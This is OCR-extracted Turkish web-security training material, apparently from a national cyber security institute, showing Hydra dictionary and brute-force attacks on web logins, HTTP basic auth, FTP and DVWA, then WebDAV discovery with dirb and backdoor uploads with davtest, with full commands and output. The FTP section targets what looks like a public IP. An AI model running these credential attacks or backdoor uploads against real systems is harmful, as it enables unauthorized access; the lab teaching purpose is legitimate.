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HYDRA USAGE

(+) Birebir denenmistir ve basariyla uygulanmistir.

Bu yazida hydra tool'u ile Web Application Login ekranina, Http Basic Auth Login Popup ekranina ve
FTP login ekranina sozlik saldirisi ve brute force saldirisi nasil yapilir gosterilecektir.

a. Web Application Login

Hydra ile localhost'daki includekarabuk_Inw sitesinin login ekranina sozlik saldirisi ve brute force
saldirisi yapalim.

Not: rockyou.txt s6zlliik dosyasinin altlarina sge sifresi konmustur.

// Dictionary Attack

> sudo su

> hydra -l admin -P /home/hasan/rockyou_stajyer.txt -V -f localhost http-post-form

"/includekarabuk_Inw/adminPaneli/index.php:userID=AUSER*&userPassword="PASS*&o
nline=1:adiniz"

-l :username

-L : txt file for username

-p : password

-P : txt file for password

-V : Show attempts

-f : Exit when the first found login/password pair

http-post-form : Form Action degerini (linkini) alir. Ardindan iki nokta Ust Uste gelir

ve login panelinde post edilen tiim degiskenler ve degerler yer alir.
Kullanici adi ve sifre degiskenleri "USER” ve APASS” degerlerini
alacak sekilde parametreye eklenir. Son olarak yine iki nokta st
Uste gelir ve kullanici adi & sifre yanlis girildiginde gelen uyari
mesajindaki s6zcliklerden biri konur.

Output:
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-03 14:14:37
[DATA] 16 tasks, 1 server, 11881376 login tries (1:1/p:11881376), ~742586 tries per task
[DATA] attacking service http-post-form on port 80

[ATTEMPT] target localhost - login "admin" - pass "123456" - 1 of 14344378 [child 0]
[ATTEMPT] target localhost - login "admin" - pass "12345" - 2 of 14344378 [child 1]
[ATTEMPT] target localhost - login "admin" - pass "123456789" - 3 of 14344378 [child 2]
[ATTEMPT] target localhost - login "admin" - pass "password" - 5 of 14344378 [child 4]
[ATTEMPT] target localhost - login "admin" - pass "iloveyou" - 6 of 14344378 [child 5]
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[ATTEMPT] target localhost - login "admin" - pass "princess" - 7 of 14344378 [child 6]

[ATTEMPT] target localhost - login "admin" - pass "june29" - 6993 of 14344378 [child 9]
[ATTEMPT] target localhost - login "admin" - pass "july29" - 6994 of 14344378 [child 6]
[ATTEMPT] target localhost - login "admin" - pass "july18" - 6995 of 14344378 [child 13]
[ATTEMPT] target localhost - login "admin" - pass "joelle" - 6996 of 14344378 [child 3]
[80][www-form] host: 127.0.0.1 login: admin password: sge

[STATUS] attack finished for localhost (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2018-04-03 14:12:52

// Brute Force Attack

> sudo su

> hydra -l admin -x 1:3:a -V -f localhost http-post-form
"/includekarabuk_Inw/adminPaneli/index.php:userID=AUSER*&userPassword="PASS*&o
nline=1:adiniz"

-l : username
-L : txt file for username
-X : Brute force parameter (Syntax: MIN:MAX:CHARSET)
5:5:a : MIN:MAX:CHARSET  // a means only lowercase alphabetic chars
// A means only uppercase alphabetic chars
// 1 means only numbers
// al means only lowercase alphanumeric chars
// Al means only uppercase alphanumeric chars
// al+. means only alphanumeric, + and dot chars
-V : Show attempts
-f : Exit when the first found login/password pair

http-post-form : Form Action degerini (linkini) alir. Ardindan iki nokta st Uste gelir
ve login panelinde post edilen tiim degiskenler ve degerler yer alir.
Kullanici adi ve sifre degiskenleri \USER” ve "PASS” degerlerini
alacak sekilde parametreye eklenir. Son olarak yine iki nokta Ust
Uste gelir ve kullanici adi & sifre yanlis girildiginde gelen uyari
mesajindaki sdzciklerden biri konur.

Output:
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-03 14:22:22
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent
overwriting, you have 10 seconds to abort...

[DATA] 16 tasks, 1 server, 11881376 login tries (1:1/p:11881376), ~742586 tries per task
[DATA] attacking service http-post-form on port 80
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[ATTEMPT] target localhost - login "admin" - pass "aaaaa" - 1 of 11881376 [child 0]
[ATTEMPT] target localhost - login "admin" - pass "aaaab" - 2 of 11881376 [child 1]
[ATTEMPT] target localhost - login "admin" - pass "aaaac" - 3 of 11881376 [child 2]
[ATTEMPT] target localhost - login "admin" - pass "aaaad" - 4 of 11881376 [child 3]
[ATTEMPT] target localhost - login "admin" - pass "aaaae" - 5 of 11881376 [child 4]
[ATTEMPT] target localhost - login "admin" - pass "aaaaf" - 6 of 11881376 [child 5]
[ATTEMPT] target localhost - login "admin" - pass "aaaag" - 7 of 11881376 [child 6]
[ATTEMPT] target localhost - login "admin" - pass "aaaah" - 8 of 11881376 [child 7]
[ATTEMPT] target localhost - login "admin" - pass "aaaai" - 9 of 11881376 [child 8]
[ATTEMPT] target localhost - login "admin" - pass "aaaaj" - 10 of 11881376 [child 9]
[ATTEMPT] target localhost - login "admin" - pass "aaaak" - 11 of 11881376 [child 10]
[ATTEMPT] target localhost - login "admin" - pass "aaaal" - 12 of 11881376 [child 11]

b. HTTP Basic Authentication Login

Bir http basic authentication korumasi altindaki web sayfasina sozliik saldirisi ve brute force saldirisi
yapalim.

Ongereksinim:

Http Basic Authentication olan bir web sayfasi insa etmek icin localhost'taki phpmyadmin
login sayfasini kullanalim. Phpmyadmin sayfasini http basic authentication kroumasi altina
almak igin

> sudo nano /etc/phpmyadmin/apache.conf

yapip <Directory /usr/share/phpmyadmin> tag'i icerisindeki Directory Index satiri altina
AllowOverride All satirini asagidaki gibi ekleyelim.

<Directory /usr/share/phpmyadmin>
Options FollowSymLinks
Directorylndex index.php
AllowOverride All

[-..]
Ardindan
> sudo nano /usr/share/phpmyadmin/.htaccess
yapip asagidaki satirlari dosya icine kopyalayalim:
AuthType Basic

AuthName "Restricted Files"
AuthUserFile /etc/apache2/.phpmyadmin.htpasswd
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Require valid-user
Dosyayi kaydettikten sonra

> sudo htpasswd -c /etc/apache2/.phpmyadmin.htpasswd root
komutunu girdigimizde sifre sorulacaktir.

Sifre: sge

Sifreyi girelim ve boylece phpyadmin sayfasi http basic authentication korumasi
altina alinmis olacaktir.

localhost /phpmyadmin/ - Chromium 1y B = «) 1435 3

localhost/phpmyadmi  x
< C | @ localhost,

Authentication required
http://localhost

Username ||

Password

Cancel Log in

@
=
B
;?)
k4
B
[
9
E

Simdi phpmyadmin ekranina gegebilmek i¢in http basic authentication login popup'ina sozlik
ve brute force saldirisi yapahm.

// Dictionary Attack

> sudo su
> hydra -V -f -l root -P /home/hasan/rockyou.txt localhost http-get /phpmyadmin

-l : username

-L : txt file for username

-p : password

-P : txt file for password

-V : Show attempts

-f : Exit when the first found login/password pair

Output:

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-03 14:54:00

[DATA] 16 tasks, 1 server, 14344378 login tries (1:1/p:14344378), ~896523 tries per task
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[DATA] attacking service http-get on port 80

[ATTEMPT] target localhost - login "root" - pass "123456" - 1 of 14344378 [child 0]
[ATTEMPT] target localhost - login "root" - pass "12345" - 2 of 14344378 [child 1]
[ATTEMPT] target localhost - login "root" - pass "123456789" - 3 of 14344378 [child 2]
[ATTEMPT] target localhost - login "root" - pass "eneshasan1992" - 4 of 14344378 [child 3]
[ATTEMPT] target localhost - login "root" - pass "password" - 5 of 14344378 [child 4]
[ATTEMPT] target localhost - login "root" - pass "iloveyou" - 6 of 14344378 [child 5]
[ATTEMPT] target localhost - login "root" - pass "princess" - 7 of 14344378 [child 6]

[ATTEMPT] target localhost - login "root" - pass "cristopher" - 6978 of 14344378 [child 5]
[ATTEMPT] target localhost - login "root" - pass "cheer123" - 6979 of 14344378 [child 8]
[ATTEMPT] target localhost - login "root" - pass "cheer06" - 6980 of 14344378 [child 9]
[ATTEMPT] target localhost - login "root" - pass "blonda" - 6981 of 14344378 [child 7]
[ATTEMPT] target localhost - login "root" - pass "verde" - 6982 of 14344378 [child 4]
[ATTEMPT] target localhost - login "root" - pass "tuesday" - 6983 of 14344378 [child 10]
[ATTEMPT] target localhost - login "root" - pass "showtime" - 6984 of 14344378 [child 12]
[ATTEMPT] target localhost - login "root" - pass "quinton" - 6985 of 14344378 [child 15]
[80][www] host: 127.0.0.1 login: root password: sge

[STATUS] attack finished for localhost (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2018-04-03 14:53:06

// Brute Force Attack

> sudo su
> hydra -V -f -l root -x 1:3:a localhost http-get /phpmyadmin

-l : username
-L : txt file for username
-X : Brute force parameter (Syntax: MIN:MAX:CHARSET)
7:7:a : MIN:MAX:CHARSET // a means only lowercase alphabetic chars
// A means only uppercase alphabetic chars
// 1 means only numbers
// al means only lowercase alphanumeric chars
// A1 means only uppercase alphanumeric chars
// al+. means only alphanumeric, + and dot chars
-V : Show attempts
-f : Exit when the first found login/password pair

Output:
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-03 14:55:43
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task

[DATA] 16 tasks, 1 server, 8031810176 login tries (1:1/p:8031810176), ~501988136 tries per

[DATA] attacking service http-get on port 80

[ATTEMPT] target localhost - login "root" - pass "aaaaaaa" - 1 of 8031810176 [child 0]
[ATTEMPT] target localhost - login "root" - pass "aaaaaab" - 2 of 8031810176 [child 1]
[ATTEMPT] target localhost - login "root" - pass "aaaaaac" - 3 of 8031810176 [child 2]
[ATTEMPT] target localhost - login "root" - pass "aaaaaad" - 4 of 8031810176 [child 3]
[ATTEMPT] target localhost - login "root" - pass "aaaaaae" - 5 of 8031810176 [child 4]
[ATTEMPT] target localhost - login "root" - pass "aaaaaaf" - 6 of 8031810176 [child 5]
[ATTEMPT] target localhost - login "root" - pass "aaaaaag" - 7 of 8031810176 [child 6]
[ATTEMPT] target localhost - login "root" - pass "aaaaaah" - 8 of 8031810176 [child 7]
[ATTEMPT] target localhost - login "root" - pass "aaaaaai" - 9 of 8031810176 [child 8]

c. FTP Login

Hydra ile simdi de bir ftp hesabina sozlik saldirisi ve brute force saldirisi yapalim.

// Dictionary Attack

> sudo su
> hydra -V -f -l user -P /home/hasan/rockyou_stajyer.txt ftp://192.168.1.110:21

-l :username

-L : txt file for username

-p : password

-P . txt file for password

-V : Show attempts

-f : Exit when the first found login/password pair

Output:
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-03 15:04:25

[DATA] 16 tasks, 1 server, 14344378 login tries (1:1/p:14344378), ~896523 tries per task
[DATA] attacking service ftp on port 21

[ATTEMPT] target 46.45.187.221 - login "user" - pass "123456" - 1 of 14344378 [child 0]
[ATTEMPT] target 46.45.187.221 - login "user " - pass "12345" - 2 of 14344378 [child 1]
[ATTEMPT] target 46.45.187.221 - login "user " - pass "123456789" - 3 of 14344378 [child 2]
[ATTEMPT] target 46.45.187.221 - login "user" - pass "enes1992" - 4 of 14344378 [child 3]
[ATTEMPT] target 46.45.187.221 - login "user" - pass "password" - 5 of 14344378 [child 4]

[ATTEMPT] target 46.45.187.221 - login "user" - pass "numberl1" - 550 of 14344379 [child 8]
[ATTEMPT] target 46.45.187.221 - login "user" - pass "katie" - 551 of 14344379 [child 7]
[ATTEMPT] target 46.45.187.221 - login "user" - pass "guitar" - 552 of 14344379 [child 15]
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[ATTEMPT] target 46.45.187.221 - login "user" - pass "212121" - 553 of 14344379 [child 9]
[ATTEMPT] target 46.45.187.221 - login "user" - pass "D1pNhf689y" - 554 of 14344379 [child]
[21][ftp] host: 192.168.1.110 login: user password: password

[STATUS] attack finished for 46.45.187.221 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

// Brute Force Attack

> sudo su
> hydra -V -f -l user -x 5:5:a ftp://46.45.187.221:21

-l : username
-L : txt file for username
-X : Brute Force parameter
3:3:1  : MIN|MAX|CHARSET // 1 means only numbers
// a means only lowercase alphabetic chars
// A means only uppercase alphabetic chars
// al means only lowercase alphanumeric chars
// A1 means only uppercase alphanumeric chars
// al+. means only alphanumeric, + and dot chars
-V : Show attempts
-f : Exit when the first found login/password pair

Output:
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-03 15:17:52

[DATA] 16 tasks, 1 server, 11881376 login tries (1:1/p:11881376), ~742586 tries per task
[DATA] attacking service ftp on port 21

[ATTEMPT] target 46.45.187.221 - login "inclu" - pass "aaaaa" - 1 of 11881376 [child 0]
[ATTEMPT] target 46.45.187.221 - login "inclu" - pass "aaaab" - 2 of 11881376 [child 1]
[ATTEMPT] target 46.45.187.221 - login "inclu" - pass "aaaac" - 3 of 11881376 [child 2]
[ATTEMPT] target 46.45.187.221 - login "inclu" - pass "aaaad" - 4 of 11881376 [child 3]
[ATTEMPT] target 46.45.187.221 - login "inclu" - pass "aaaae" - 5 of 11881376 [child 4]
[ATTEMPT] target 46.45.187.221 - login "inclu" - pass "aaaaf" - 6 of 11881376 [child 5]
[ATTEMPT] target 46.45.187.221 - login "inclu" - pass "aaaag" - 7 of 11881376 [child 6]
[ATTEMPT] target 46.45.187.221 - login "inclu" - pass "aaaah" - 8 of 11881376 [child 7]
[ATTEMPT] target 46.45.187.221 - login "inclu" - pass "aaaai" - 9 of 11881376 [child 8]
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Ekstra

a. Header Kullanimi

Localhost'daki DVWA web uygulamasinda oturum actigimizda bir cerez bize verilecektir. Hydra'ya o
cerezi vererek Brute Force dersindeki ekrana ulasabilir ve sozlik saldirisi yapabiliriz.

> hydra -l admin -P /home/hasan/rockyou.txt -V -f localhost http-get-form
"/dvwa/vulnerabilities/brute/:username="USER"&password="PASS*&Login=Login&user_
token=da3fde68a4be5125242233f46f7982cd:incorrect:H=Cookie: security=low;
PHPSESSID=rt55dt0h4mvouoo908td3q2fk6"

-l :username

-L : txt file for username

-p : password

-P : txt file for password

-V : Show attempts

-f : Exit when the first found login/password pair

http-get-form : Form Action degerini (linkini) alir. Ardindan iki nokta Ust Uste gelir

ve login panelinde get edilen tiim degiskenler ve degerler yer alir.
Kullanici adi ve sifre degiskenleri "USER” ve APASS” degerlerini
alacak sekilde parametreye eklenir. Daha sonra yine iki nokta Ust
Uste gelir ve kullanici adi & sifre yanlis girildiginde gelen uyari
mesajindaki sézclklerden biri konur. Son olarak hydra'nin yapacagi
http taleplerine eklenecek header'lar ve degerleri konur.
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WEBDAV KESIF VE EXPLOITATION

WebDav web sunucularda c¢alisan bir servistir ve hedef web sunucusuna dosya upload'lama, hedef
web sunucusunda dosya degistirme ve dosya silme gibi islemlerin gergeklestirilebilmesini saglar.
Ayrintili bilgi icin bkz. Paketleme igin Gézden Gegirilecekler / internettetn Edinilmis Kiymetli Bilgiler /
DavTest Yapma.docx

a. WebDav Servisinin Kesfi
[+] Birebir denenmistir ve basariyla uygulanmistir.

Ubuntu 14.04 LTS ana makinasinda apache web sunucusunun kurulu oldugunu ve apache sunucuda
WebDav servisinin etkin oldugunu varsayalim.

WebDav servisi apache sunucularda nasil etkin olur bilgisi icin bkz. DavTest Yapma.docx
#Apache'ye WebDav Kurulumu

Hedef web sunucusunda WebDav servisinin hangi dizinde aktif oldugunu tespit etmek igin dir fuzzing
yapan tool'lar kullaniimalidir. Orn;

- dirb
- dirbuster

- wfuzz

Simdi hedef web sunucusuna dir fuzzing yapalm ve hedef web sunucusu standard WebDav
dizinlerinden birine sahip mi test edelim.

OSCP Kali:
> dirb http://172.16.3.72 // Ubuntu 14.04 LTS IP'si

Output:
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Applications « Places () Terminal ~ Wed 15:10
root@kali: ~/Desktop

File Edit View Search Terminal Tabs Help

root@kali: ~/Desktop

DIRB v2.22
By The Dark Raver

START _TIME: Fri Mar 9 16:59:38 2018
URL_BASE: http://172.16.3.72/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

- Scanning URL: http://172.16.3.72/ ----
DIRECTORY: http://172.16.3.72/html/

==> DIRECTORY: http://172.16.3.72/HTML/

+ http://172.16.3.72/info.php (CODE:200|SIZE:76778)
DIRECTORY: http://172.16.3.72/javascript/
DIRECTORY: http://172.16.3.72/PHP/

DIRECTORY: http://172.16.3.72/phpmyadmin/
tp://172.16.3.72/server-status (CODE:403|SIZE:291)
= DIRECTORY: http://172.16.3.72/test/

==> DIRECTORY: http://172.16.3.72/XML/

- Entering directory: http://172.16.3.72/html/ ----
+ http://172.16.3.72/html/index.html (CODE:200|SIZE:11510)

- Entering directory: http://172.16.3.72/HTML/ ---
(') WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

- Entering directory: http://172.16.3.72/javascript/ ----

Gorildugu tzere hedef web sunucusu /webdav/ dizinine sahipmis. Bu standard bir WebDav servisi
dizinidir. Boylece bir sonraki exploitation adiminda davtest tool'u ile hedef WebDav servisine
baglanirken kullanacagimiz dizini tespit etmis olduk.

Not: Dir fuzzing islemi biten tool'larin g¢iktisindaki her satirin ivedilikle incelenmesi gerekmektedir.
Clnku ¢ikti sonuglarinda arada bir yerde WebDav'la alakali bir dizin tespiti yer alabilir.

c. WebDav Servisinin Exploit Edilmesi

Artik WebDav servisinin kullandigi dizin tespitini yaptigimiza goére DavTest tool'u ile hedef WebDav
servisine baglanabilir ve exploitation islemini baslatabiliriz. Ornek kullanimlar su sekildedir;

// Hedef WebDav Servisini Test Etme
> davtest -url http://172.16.3.72/webdav

// Hedef WebDav Dizinine Backdoor Dosyasi Upload'lama
> davtest -uploadfile /root/backdoor.php -uploadloc ./ -url http://172.16.3.72/webdav

// Hedef WebDav Dizinine DavTest icinde Yiiklii Backdoor'lari Upload'lama
> davtest -sendbd auto -url http://172.16.3.72/webdav

// Hedef WebDav Dizinine DavTest icinde Yiiklii Backdoor'lari Txt Olarak Upload'lama
// ve Sonra ilgili Betik Dili Uzantisina Dénistiirme (Bdylece Giivenligi Bypass Etme)
> davtest -move -sendbd auto -url http://172.16.3.72/webdav
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ilgili islemler hakkinda daha detayl bilgi icin bkz. DavTest Yapma.docx#DavTest Kullanimi ve
#Uygulama (Apache Sunucuda DavTest Yapma) Basliklari

TUBITAK — BILGEM — Siber Guvenlik Enstitus

17



TASNIF DISI Web Giivenligi Ile Tanisma (Egt. Materyl.)

DAVTEST YAPMA

a. DAVTest Nedir?

b. WebDav Nedir?

c. DavTest Kullanimi

d. Apache'ye WebDav Kurulumu

[+] Birebir denenmistir ve basariyla uygulanmistir.
e. Uygulama (Apache'ye DavTest Yapma)

[+] Birebir denenmistir ve basariyla uygulanmistir.
f. Ekstra (( Cadaver istemcisi ile WebDav'a erisim ))

[+] Birebir denenmistir ve basariyla uygulanmistir.
g. Ekstra (( File Browser ile WebDav'a erisim ))

[+] Birebir denenmistir ve basariyla uygulanmistir.

a. DAVTest Nedir?

DAVTest hedef web sunucularindaki WebDav servisini denetleyen ve exploit eden bir tool'dur.
WebDAV servisi acik olan web sunucularina calistirilabilir dosya upload'lanabiliyor mu testini yapar ve
upload'lanabiliyorsa backdoor koymamizi saglar. DAVTest tool'u asagidaki islemleri desteklemektedir:

- Hedef web sunucusuna otomatik olarak exploit dosyasi gnderme

- Hedef web sunucusuna txt dosyasi gonderme ve txt dosyasinin ismini calistirilabilir dosya
haline doniistlirmeyi deneme

- Hedef web sunucusuna gonderilen dosyayi otomatik olarak silme

- Hedef web sunucusuna rastgele herhangi bir dosya génderebilme

b. WebDav Servisi Nedir?

WebDAV servisi istemcilere uzaktan web sunucusundaki web igeriginde vyetkili islemler
gerceklestirebilmesini saglayan bir http protokoll uzantisidir. Bu servis ile istemciler web sunucusu
Uzerinde dokiiman olusturma, doékiman degistirme, dokiman tasima gibi islemlerini
gerceklestirebilmektedirler. Bu servis standard http verb'lerine (HEAD, GET, POST, PUT, DELETE,
TRACE, ...) ekstradan su verb'leri de ekler.

COPY
Ayni sunucu icerisindeki bir url'den diger url'ye kaynak kopyalamasi islemini yapar.
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MKCOL
Dizin olusturur.

MOVE

Ayni sunucu icerisindeki bir url'den diger url'ye kaynak tasima islemini yapar.
PROPFIND

Bir web kaynaginin xml formatinda 6zelliklerini getirtir. Ayrica uzak sistemin dizin
hiyerarsisini getirmeyi de saglar.

PROPPATCH
Bir kaynak Uzerindeki birden fazla 6zelligi degistirmeyi ve silmeyi saglar.

LOCK
Bir kaynaga kilit koyar.

UNLOCK
Bir kaynaktaki killidi agar.
Su web sunuculari WebDAV servisine sahiptirler:

- IS Sunucular
WebDAV modiili (optional)

- Apache Sunucular
dav_fs modiili veya Apache Subversion (svn) temelli bir WebDAV destegi (optional)

- Nginx Sunucular
Kisith bir WebDav modiilii (optional)

- lighttpd Sunucular
WebDav modiili (optional)

WebDav servisi ile dosya upload'lama, dosya silme ve dosya tasima gibi islemler yapabildigimiz icin
ayni islemleri yapan

- File Transfer Protocol (FTP) // ya da FTP'nin secure hali FTPS protokolii
- SSH File Transfer Protocol (SFTP)
- SMB or SAMBA // Uzaktan bir sistemin dosya hiyerarsisine erisim

servisleri WebDav servisinin alternatifleridirler.
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c. DAVTest Kullanimi

WebDav servisini denetleyen ve exploit eden davTest tool'u Kali ile beraber gelmektedir. Kullanimi
asagidaki gibidir:

// Default Kullanim

> davtest -url http://www.example.com

Output (e.g.):

kontrolii

¢alisabiliyor

3k 3k 3k >k 3k 3k 3k 3k 3k 3k 3k 3k 3k %k 3k %k %k 3k sk %k 3k %k %k 3k >k 3k 3k 3k %k %k %k 3k %k >k >k 3k %k %k 3k %k %k 3k %k %k 5k %k %k k %k k %k k Kk kkk

Testing DAV connection // WebDAV agk mi

OPEN SUCCEED: http://192.168.1.209 // WebDAV servisi agik

sk ok 3k >k 3k 3k >k >k 3k sk >k 3k ok %k 3k >k %k 3k >k %k 3k %k %k sk %k %k sk sk 5k %k %k >k %k %k >k %k %k %k %k %k %k %k %k %k %k %k %k %k %k %k %k %k *k %k k%

NOTE Random string for this session: BOyG9nhdFS8gox

3k 3k 3k 3k 3k sk >k sk ok sk sk ok sk 3k sk sk sk sk sk >k sk 3k 3k sk sk sk sk sk sk 3k sk sk sk sk 3k ok sk sk sk sk >k sk sk sk sk sk ok sk ok ok sk ok sk sk k ok

Creating directory

MKCOL SUCCEED: Created http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox // Hedef web sunucu
// sunucusunda dizin
// olusturulur.

3k 3k 3k ok 3k 3k 3k 3k 3k 3k 3k 3k 3k %k 3k %k %k 3k >k %k 3k %k %k 3k >k 3k 3k 3k %k %k %k 3k %k >k %k 3k %k %k 3k %k %k 3k %k %k 5k %k %k >k %k k %k k Kk kkk

Sending test files

// Hedef web sunucusundaki olusturdugumuz dizin igerisine sirasiyla ayni isimli asp, txt,
// perl, jsp, cfm, aspx, jhtml, php, html ve shtml dosyalari yollama denemeleri yapilir

PUT asp FAIL

PUT cgi FAIL

PUT txt SUCCEED: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.txt
PUT pl SUCCEED: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.pl
PUT jsp SUCCEED: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9InhdFS8gox.jsp
PUT ¢fm SUCCEED: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.cfm
PUT aspx FAIL

PUT jhtml SUCCEED: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGOnhdFS8
gox.jhtml

PUT php SUCCEED: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.php
PUT html SUCCEED: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9InhdFS8
gox.html

PUT shtml FAIL

// SUCCEED'ler hedef web sunucusuna upload'lamayi basarabildigimiz dosyalari gosterir.

3k 3k 3k >k 3k 3k %k 3k 3k 3k 3k 3k >k %k 3k >k %k 3k >k %k 3k >k %k 3k %k >k 3k 3k %k %k %k 3k %k %k >k %k %k %k 3k %k %k %k %k %k %k %k %k *k %k %k %k %k *k k k k

Checking for test file execution
// Hedef web sunucusuna yollanabilen dosyalarin igerisindeki betik kodlari hedef sistemde

// mu galisamiyor mu kontroliinii yapar. Béylece hangi betik dili hedef sistemde kullaniliyor tespiti
// yapilir ve génderilecek shell ona gére belirlenebilir..

EXEC txt SUCCEED: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.txt
EXEC pl FAIL
EXEC jsp FAIL
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EXEC cfm FAIL
EXEC jhtml FAIL
EXEC php FAIL

EXEC

html SUCCEED:

http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.html

// succ

EED'ler hedef web sunucusunda calisabilen betik dillerini ifade eder.

3k 3k 3k >k 3k 3k >k 3k sk 3k >k 5k >k %k 3k >k %k 5k >k %k 5k >k %k >k %k %k >k >k %k %k %k >k %k >k >k %k >k %k %k %k %k 5%k >k %k %k %k %k %k %k %k %k %k *k %k k%

Jusr/bi

// Hede
//
//
//
//
//
//

Created
PUT File
PUT File
PUT File
PUT File
PUT File
PUT File
PUT File
Execute

Execute

n/davtest Summary:

f Web sunucunda basarilan islemlerin 6zeti sunulur:
Hedef sistemde dizin olusturuldu. // ismi => DavTestDir_BOyG9nhdFS8gox

Put File: satirlari upload'lanabilen dosyalari gésterir.

Dizin igerisine txt dosyasi basariyla yollandi.
Dizin igerisine pl dosyasi basariyla yollandi.
Dizin igerisine jsp dosyasi basariyla yollandi.
Dizin igerisine cfm dosyasi basariyla yollandi.
Dizin igerisine jhtml dosyasi basariyla yollandi.
Dizin igerisine php dosyasi basariyla yollandi.
Dizin igerisine html dosyasi bagariyla yollandi.

Executes: satirlari hedef sistemde desteklenen (galisabilen) betik dillerini gosterir.

Dizin igerisindeki txt dosyasi ¢alistirilabilir izne sahip
Dizin igerisindeki html dosyasi calistirilabilir izne sahip

: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox

: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.txt

: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.pl

: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.jsp

: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9InhdFS8gox.cfm

: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9InhdFS8gox.jhtml
: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.php

: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.html
s: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.txt

s: http://192.168.1.209/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9InhdFS8gox.html

3k 3k 3k >k 3k 3k >k 3k 3k 3k >k 3k >k %k 3k %k %k 3k >k %k 3k >k %k 3k %k >k 3k 3k %k %k %k %k %k %k >k 3k %k %k %k %k %k %k %k %k %k %k %k *k %k %k %k %k *k k k k

Exexutes satirlarindan

desteklenen betik dillerini 6grenerek hedef web sunucusuna 6rnegin uygun bir

backdoor konabilir ve web sunucusu hack'lenebilir. Backdoor upload'layabilmek igin davtest
tool'unun parametrelerinden faydalanilmasi gerekmektedir. Bu parametreler sunlardir:

> davtest -url <url> [options]

-auth+
-uploadfile+
-uploadloc+
-url+
-cleanup

Authorization (user:password)

upload this file (requires -uploadloc)

upload file to this location/name (requires -uploadfile)
url of DAV location

delete everything uploaded when done
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-move PUT text files then MOVE to executable

-directory+ postfix portion of directory to create

-debug+ DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)
-nocreate don't create a directory

-quiet only print out summary

-rand+ use this instead of a random string for filenames

-sendbd+ send backdoors:

auto - for any succeeded test
ext - extension matching file name(s) in backdoors/ dir

[ Burada bahsedilen davtest kullanimlarinun uygulamali gésterimi sonraki basliklarda yer alacaktir ]

i) Hedef WebDAV Servisini Denetleme ve Kendi Backdoor'umuzu Upload'lama

Asagidaki davtest tool'unun default kullanimini gérmektesin. Default kullanim ile hedef WebDav
servisine dosya upload'lanabiliyor mu, upload'lanabiliyorsa hedef web sunucu hangi betik dillerini
destekliyor sonuglarina ulasiriz. Bu islem icin davtest tool'u kendinde tanimh tim “asp, jsp, php,
aspx,...” script'lerini iclerinde matematiksel islemler bulundurur vaziyette hedef webdav servisinin
dizinine upload'lamayi dener. Basariyla upload'lanabilen script dosyalarindan matematiksel islemi
hesaplayabilen (yani script kodunu ¢alistiran) dosyalari tespit eder ve ¢iktiya Executes satirlari olarak
sunar. Executes: satirlari hedef sistemde hangi script dillerinin ¢alisabildigini bize soyler.

// Default Kullanimi

> davtest -url http://172.16.3.72/webdav // webdav dizin ismi WebDav kurulumuna goére
// degisebilir.

Yukaridaki kullanim ile calisan betik dilini tespit ettikten sonra -uploadfile parametresine yerel
sistemimizdeki dosya ve -uploadloc parametresine ise hedef web sunucusundaki bir url konarak

hedef web sunucusuna WebDAV servisi Uzerinden elle belirli bir uzantida dosya (6rn; backdoor)
upload'layabiliriz.

// Yerel sistemimizdeki backdoor.php dosyasi hedef sistemde bulunulan WebDav servi-
// sinin kok dizinine, yani webdav dizinine upload'lanir ve exploitation'a giden yol
// boylece acilir.

( yeni kali’lerde )

> davtest -uploadfile /root/backdoor.php -uploadloc backdoor.php -url http://172.16.3.
72/webdav

( eski kali’lerde )

> davtest -uploadfile /root/backdoor.php -uploadloc ./ -url http://172.16.3.72/webdav
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Boylece elle hedef sisteme kendi backdoor dosyamizi upload'lama islemini gérmis olduk.Bu
